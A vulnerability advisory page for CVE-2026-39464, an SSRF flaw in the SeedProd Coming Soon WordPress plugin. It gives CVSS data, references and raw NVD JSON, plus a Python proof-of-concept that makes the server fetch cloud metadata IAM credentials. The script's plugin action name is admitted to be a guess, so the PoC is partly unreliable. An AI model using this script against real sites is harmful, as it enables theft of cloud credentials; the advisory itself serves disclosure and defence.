CVE-2026-39464

Description

Server-Side Request Forgery (SSRF) vulnerability in SeedProd Coming Soon Page, Under Construction & Maintenance Mode by SeedProd coming-soon allows Server Side Request Forgery.This issue affects Coming Soon Page, Under Construction & Maintenance Mode by SeedProd: from n/a through <= 6.19.8.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

SeedProd Coming Soon Page <= 6.19.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (WordPress admin-ajax.php or specific endpoint)
target = "http://target-wordpress-site.com/wp-admin/admin-ajax.php"

# Attacker controlled URL (e.g., canary token or internal IP)
malicious_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# Payload construction
# Note: The specific action parameter depends on the plugin's implementation
data = {
    "action": "seedprod_preview_link", 
    "url": malicious_url
}

# Cookies required for High Privilege (PR:H)
cookies = {
    "wordpress_logged_in_...": "session_cookie_here"
}

try:
    response = requests.post(target, data=data, cookies=cookies)
    if response.status_code == 200:
        print("[+] Potential SSRF triggered.")
        print("[+] Server response:\n", response.text)
    else:
        print("[-] Request failed or blocked.")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39464
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39464
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39464/
[4] VulDB https://vuldb.com/cve/CVE-2026-39464
[5] https://patchstack.com/database/Wordpress/Plugin/coming-soon/vulnerability/wordpress-coming-soon-page-under-construction-maintenance-mode-by-seedprod-plugin-6-19-8-server-side-request-forgery-ssrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39464", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:21.667", "lastModified": "2026-04-24T18:08:35.440", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Server-Side Request Forgery (SSRF) vulnerability in SeedProd Coming Soon Page, Under Construction & Maintenance Mode by SeedProd coming-soon allows Server Side Request Forgery.This issue affects Coming Soon Page, Under Construction & Maintenance Mode by SeedProd: from n/a through <= 6.19.8."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/coming-soon/vulnerability/wordpress-coming-soon-page-under-construction-maintenance-mode-by-seedprod-plugin-6-19-8-server-side-request-forgery-ssrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}